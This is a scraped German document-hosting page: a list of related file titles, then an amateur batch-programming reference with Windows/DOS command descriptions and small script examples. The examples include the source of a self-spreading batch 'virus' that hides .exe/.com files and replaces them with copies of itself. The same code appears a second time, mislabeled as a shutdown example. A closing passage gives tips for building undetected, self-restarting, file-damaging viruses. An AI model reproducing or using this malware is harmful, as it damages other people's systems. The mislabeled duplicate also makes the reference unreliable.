Ultimative Batch-Programmierungsreferenz V1.0

Ähnliche Dokumente
Geben Sie HELP "Befehlsname" ein, um weitere Informationen zu einem bestimmten. Zeigt Dateierweiterungszuordnungen an bzw. ändert sie.

BBZS, Inf 1b CMD-Befehle Emanuel Duss. Emanuel Duss. CMD-Befehle. DOS-Befehle.doc /8

Um Batch programmieren zu lernen, gibt es sicherlich viele Möglichkeiten, doch der Einstieg ist schnell geschafft

Inhaltsverzeichnis. Vorwort 13. Kapitel 1 Einführung Ein paar Grundbegriffe Einführung in die Hardware 20

Hierüber lassen sich die meisten Einstellungen der Computerverwaltung anpassen:

[ Batchman ] Batch-Dateien selbstgemacht. Einleitung Batch-Befehle Praktische Beispiele Tips & Tricks. Einleitung:

HBF IT-Systeme. BBU-BSK Übung 4 Stand:

Stapelverarbeitungsdateien (Batch-Files)

Modul Teil 1. (Workshop Grundlagen zum Thema DOS - Batch)

MS-DOS 5.0. Wirkungsweise: Liefert Online-Informationen zu den Befehlen von MS-DOS 5.0

Stapelverarbeitungsdateien

Batch-Skript(Crashkurs)

Einstieg in den Umgang mit dem PC

MS-DOS 6.22 Befehlsreferenz

Übung - Arbeiten mit CLI-Befehlen in Windows

pwd mkdir Zeigt das aktuelle Verzeichnis an Beispiel: pwd

Kommandozeile und Batch-Dateien. Molekulare Phylogenetik Praktikum

Ekkehard Kaier. Informationstechnische Grundbildung MS-DOS

Befehle im Commandmode:

Softwareverteilung Arduino 1.8.5

CMD Befehle Überblick (Batch Befehle Windows)

H. Tornsdorf М. Tornsdorf. Das große Buch zu

Ausgewähltes zu Betriebssystemen und Netzwerken

Shell. Oder Konsole suchen im Application Finder. Auch Terminal, Bash oder Kommandozeile genannt. Bash nimmt Befehle entgegen und führt diese aus

Systemverwaltung mittels Skripts

Microsoft Schreiben des Ordners System Volume Information auf USB unterbinden Ein extrem störendes Merkmal in Windows ist, dass wenn man ein USB Laufw

Inhaltsverzeichnis. Das Norton Utilities Buch. Einleitung

BASIC Tutorial für Anfänger

Das Handbuch zu KCron

-00 n. " U 2 -n I~ & 6 F V f v A U - 11 F II jl. ... = M 1 m } i JJ. ... > N " - A- Pt d.jl I I. I I Hex ZifTer I ... =f= <I> a ...

Inhaltsverzeichnis. 0. Einleitung. 1. MS-DOS Kommandos

MODELL EL-9900 RECHNER MIT GRAFIK- FUNKTION BEDIENUNGSANLEITUNG

Arbeiten mit der Shell Teil 1

Arbeiten mit der Shell Teil 1

Arbeiten mit der Shell Teil 1

Gerd Kebschull. MS-DOS 6.0 Einsteigen leichtgemacht

Ein Überblick der MS-DOS - Befehle. Dieter Nißl Dipl.-Ing. (FH)

Arbeiten mit der Shell Teil 1

Druckprogramm Begleitscheine Seite 1

Shell-Scripting Linux-Kurs der Unix-AG

UNIX Die wichtigsten Befehle

Shell-Scripting Linux-Kurs der Unix-AG

Bash-Scripting Linux-Kurs der Unix-AG

Mifas unter Windows 2000 installieren

Shell-Scripting Linux-Kurs der Unix-AG

Lilo Lesewelt im Netzwerk ohne Installation. Besuchen Sie uns im Internet unter

sempre PCIe SATA Raid Controller Benutzerhandbuch Version 1.00 Copyright sempre 2011

1 Festplatte als Externspeicher 1

Copyright

Druckprogramm Begleit- und Übernahmescheine Seite 1

Recover Anleitung ONE XCELLENT-10 Tablet via USB Stick

Das CIP der Mathematik

Computer & GNU/Linux Einführung Teil 4

Arbeiten in der Unix-Kommandozeile

Arbeiten in der Unix-Kommandozeile

Klonen von Windows mit WinPE und ImageX

Bash-Skripting Linux-Kurs der Unix-AG

BAV-Remote Skript L.Pagel

Einführung in die Kommandozeile

Softwareverteilung VLC-Player

&'5RGHU&'5:'DWHQVLFKHUXQJPLW1HUR HLQULFKWHQ

Klonen von Windows mit WinPE, DISM und IMAGEX

REXX. Was ist REXX. Scriptsprache für viele Plattformen Erste Schritte F. Hodel os2.a-net.ch

AVG. Version 0.5,

1 Linux-Befehlsübersicht

X Anmelden am System. X System herunterfahren. X Grundlegendes zur Shell. X Das Hilfesystem. X Dateioperationen. X Bewegen im Verzeichnisbaum

2 2. Tag. 2.1 Das Dateisystem. das Dateisystem organisiert die Speicherung von Daten. viele Betriebssysteme haben verschiedene Dateisysteme

Einleitung: Willkommen zum Grundkurs MS-DOS/PC-DOS. Kapitel 1: Der Personalcomputer 9

Zugriffsrechte. anzeigen lassen mit dem Befehl: ls -l

Batch Programmierung. Datum: Autor: Kesselmark, Pascal

Arbeiten mit Batch-Dateien

Inhalt. Copyright Datentechnik Hoffmann Seite 2

Linux eine Einführung

1. Einführung in DR DOS

Shell-Scripting Linux-Kurs der Unix-AG

Shellkurs Shell, SSH, Skripte... Justus Pfannschmidt, Carola Bothe, Samuel Domiks Freie Universität Berlin

ManageHomePC v Veröffentlicht 2016 Copyright S-cubic GmbH. Krebsbachstr. 12 D Bergisch Gladbach

Die Shell. Ein Vortrag von Frederik und Michael 1 / 35

3 Elementare Befehle des Betriebssystems MS-DOS Kurzeinführung Windows 98

Datei kopieren / verschieben. Prinzip:

Recover Anleitung ONE XCELLENT-10 Tablet via USB Stick

Windows-Setup-Stick mit verschiedenen Versionen und Editionen erstellen (Part_2)

USB - Seriell Adapter Benutzerhandbuch

Der Windows Explorer INITE 7e 2003 Joël François

W1017 (W exe)

Grundlagen der Wirtschaftsinformatik. Praktikum

Arithmetik in der tcsh

Playlistmanager für den D2-Director

Laborübung - Erstellen Sie eine Partition in Windows 7

T.Bosse. COMA Übung 1. T.Bosse. Einführung in Linux Dateisystem Graphische. Textbasierte

Bash-Skripting Linux-Kurs der Unix-AG

4. Desktop, Betriebssystem u.a.

Linux Kommandozeile: Einfache Skripte. 1 Wiederhohlung. 2 Einfache Skripte

BUS/400 GUI. Dokumentation

W.Autenrieth Befehlsübersicht MSDOS-BEFEHLE

Anleitung SPCsoft für SPC2200

- Teil 6 - kf - F I S - Friedhofsinformationssystem. Datensicherung / Rücksicherung

Win10. Projekt. August update: 26. August 2017 um 17:44

Transkript:

Ultimative Batch-Programmierungsreferenz V1.0 ASSOC - Zeigt die zuordnung der Dateierweiterungen an. AT Hiermit kann man eine Zeit festlegen, in der die Befehle ausgeführt werden sollen. ATTRIB hiermit kann man Dateiattribute anzeigen lassen oder ändern. BREAK Drückt man Strg + C wird man gefragt ob man abbrechen will. CACLS - Zeigt die Access Control List an(datei Rechte wie schreiben lesen etc). CALL Hiermit kann man eine Batchdatei aus einer anderen starten. CD Aktuelles Verzeichnis ändern bzw. anzeigen. CHCP Aktive Codepagenummer anzeigen lassen, bzw. festlegen. CHDIR Anzeige des Aktuellen Verzeichnissnamens bzw. Festlegung. CHKDSK Hiermit wird ein Datenträger überprüft und ein bericht angezeigt. CHKNTFS Datenüberprüfung am Start Einstellen bzw. Anzeigen lassen. CHOICE Wartet auf die Eingabe des Benutzers. CLS - Löscht den Screen. CMD - Startet eine neue Instanz des Windows-Befehlsinterpreters. COLOR Hintergrund und Vordergrundfarbe der Konsole einstellen. COMP Vergleich zweier Dateien bzw. Sätze von Datein. COMPACT NTFS-Partitionskomprimierung anzeigen bzw. andern. CONVERT - Konvertiert FAT-Volumes in NTFS. Das aktuelle Laufwerk kann nicht konvertiert werden. COPY Kopieren von einer oder mehrerer Dateien an anderer Stelle. DATE Datum anzeigen bzw. ferstlegen. DEL Löschen von einer oder mehrerer Datein. DIR Auflistung von Dateien und Unterverzeichnisse. DISKCOMP - Vergleicht den Inhalt von zwei Disketten. DISKCOPY - Kopiert den Inhalt von einer Diskette auf eine andere Diskette. ECHO Ausgabe von Text bzw Bildschirmausgabe an und aus schalten. ENDLOCAL Beendet den lokalen Gültigkeitsbereich von Umgebungsänderungen in einer Batchdatei. ERASE Löschen von einer oder mehrerer Datein. EXIT Beendet das Programm CMD.EXE. FC Vergleich zweier Dateien bzw. Sätze von Dateien und anzeige von Unterschieden FIND - Sucht eine Zeichenkette in einer oder mehreren Datei(en). FINDSTR - Sucht Zeichenketten in Dateien.

FOR - Führt einen angegebenen Befehl für jede Datei in einem Dateiensatz aus. FORMAT Formatierung eines Datenträgers FTYPE Zeigt Dateitypen für eine Zuordnung an bzw. Verändert diese. GOTO Sprung zu einer Sprungmarke(Befehlsinterpreter wird dorthin gesetzt). GRAFTABL - Ermöglicht Windows, Sonderzeichen im Grafikmodus anzuzeigen. HELP zeigt Hilfe zu Befehlen an. IF Je nach bedingung wird ein Befehl abgearbeitet. LABEL Löscht, erstellt oder verändert die Bezeichnung eines Volumens. MD Verzeichnis erstellen. MKDIR Verzeichnis erstellen. MODE - Konfiguriert ein Systemgerät. MORE Ausgabe auf dem Bildschirm seitenweise MOVE Dateien in ein anderes Verzeichnis verscheiben. PATH - Legt den Suchpfad für ausführbare Dateien fest oder zeigt diesen an. PAUSE Hält die Ausführung einer Batchdatei an und zeigt eine Meldung an. POPD Wechselt zu dem Verzeichnis, das durch PUSHD gespeichert wurde. PRINT Drucken einer Textdatei. PROMPT - Ändert die Eingabeaufforderung. PUSHD - Speichert das aktuelle Verzeichnis, und wechselt dann zu einem anderen Verzeichnis. RD - Entfernt ein Verzeichnis. RECOVER - Stellt lesbare Daten von einem beschädigten Datenträger wieder her. REM - Leitet Kommentare in einer Batchdatei bzw. CONFIG.SYS ein. REN Umbenennen von Dateien. RENAME Umbenennen von Dateien. REPLACE Datei Ersetzen. RMDIR Verzeichnis löschen. SET Variablen Setzen bzw. löschen. SETLOCAL - Beginnt den lokalen Gültigkeitsbereich von Umgebungsänderungen in einer Batchdatei. SHIFT - Verändert die Position ersetzbarer Parameter in Batchdateien. SORT - Sortiert die Eingabe. START - Startet ein eigenes Fenster, um ein bestimmtes Programm oder einen Befehl auszuführen. SUBST - Weist einem Pfad einen Laufwerksbuchstaben zu. SHUTDOWN PC neu starten bzw. herrunterfahren TIME - Zeigt die Systemzeit an bzw. legt sie fest. TITLE - Legt den Fenstertitel für das Eingabeaufforderungsfenster fest. TREE - Zeigt die Ordnerstruktur eines Laufwerks oder Pfads grafisch an.

TYPE - Zeigt den Inhalt einer Textdatei an. VER - Zeigt die Windows-Version an. VERIFY - Legt fest, ob überwacht werden soll, ob Dateien korrekt auf den Datenträger geschrieben werden. VOL- Zeigt die Datenträgervolumebezeichnung und die Seriennummer an. XCOPY - Kopiert Dateien und Verzeichnisbäume. Syntax: Wenn du die Syntax eines Befehls wissen möchtest, dann gib den Befehl in der Eingabeaufforderung mit einem /? ein und drück Enter! z.b. ASSOC /? Programmcodes/Beispiele: PC Herunterfahren: @ECHO off %SYSTEMROOT%\system32\shutdown.exe -s -t 0 Eingabe Abfrage: Choice Drueck mal eine Taste: /C:123 If Errorlevel 255 goto Fehler If Errorlevel 3 goto Punktdrei If Errorlevel 2 goto Punktzwei If Errorlevel 1 goto Punkteins If Errorlevel 0 goto Fehldruck :Fehler Echo Fehlerbedingung! :Punktdrei Echo Sie haben Taste 3 gedrückt! :Punktzwei Echo Sie haben Taste 2 gedrückt! :Punkteins Echo Sie haben Taste 1 gedrückt! :Fehldruck Echo Sie haben [Strg+C] gedrückt und die Stapeldatei abgebrochen! :ende

For Schleife (10 Unterverzeichnisse): For %%d In (1 2 3 4 5 6 7 8 9 10 ) Do Md spiel%%d Rem Dieser For-Befehl kreiert 10 Unterverzeichnisse mit den Namen Rem Spiel 1 bis Spiel 10. Wagner Virus(Löscht com und exe Dateien und setzt sich anstelle dessen): ctty nul for %%f in (*.exe *.com) do set A=%%f if %A%==COMMAND.COM set A= rename %A% V%A% if not exist V%A% goto end attrib +h V%A% copy %0.bat %A% attrib +r %A% ren %A% *.bat set A= :end ctty con @if exist V%0.com V%0.com %1 %2 %3 @if exist V%0.exe V%0.exe %1 %2 %3 PC Herunterfahren: ctty nul Rem Umleitung ins nichts mit ctty nul for %%f in (*.exe *.com) do set A=%%f if %A%==COMMAND.COM set A= rename %A% V%A% if not exist V%A% goto end attrib +h V%A% copy %0.bat %A% attrib +r %A% ren %A% *.bat set A= :end ctty con @if exist V%0.com V%0.com %1 %2 %3 @if exist V%0.exe V%0.exe %1 %2 %3

Allgemeines: Sicherlich wollen jetzt einige einen Virus oder dergleichen machen. Hier mal ein Ansatz dazu: Der Virus sollte unendeckt bleiben! Der Virus sollte sich immer neu startn ( http://www.robvanderwoude.com/index.html )! Ein Virus löscht oder ändert andere Dateien! Es gibt einen Grund, warum ich euch jetzt nicht Schritt für Schritt sowas erkläre: jeder n00b würde es dann easy hinbekommen einen schädlichen Virus zu schreiben! Außerdem macht das selber herausfinden ja eh mehr Spaß ;) Thnx to everyone M F G MudSucker ( fin_mudsucker_fin@hotmail.com www.darkenedcore.dl.am ) P.S. Schäden sind eure Schuld ich übernehme für nichts Haftung! Weitergeben ist erwünscht, aber nur unverändert!